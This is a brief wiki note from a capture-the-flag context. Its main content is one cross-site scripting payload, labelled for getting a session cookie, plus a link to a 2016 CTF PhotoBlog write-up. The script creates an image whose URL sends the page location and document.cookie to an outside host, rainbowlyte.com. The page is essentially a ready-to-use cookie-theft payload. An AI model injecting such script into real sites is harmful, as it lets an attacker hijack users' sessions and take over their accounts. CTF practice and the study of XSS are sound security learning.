CTF
De WikiMar
Get session cookie using
<script> im=document.createElement('img'); im.src="http://rainbowlyte.com/pirate.png?loc="+document.location+"&cookie="+document.cookie; document.body.appendChild(im); </script>
Info: https://github.com/QuokkaLight/write-ups/blob/master/sharif-university-ctf-2016/web/PhotoBlog.md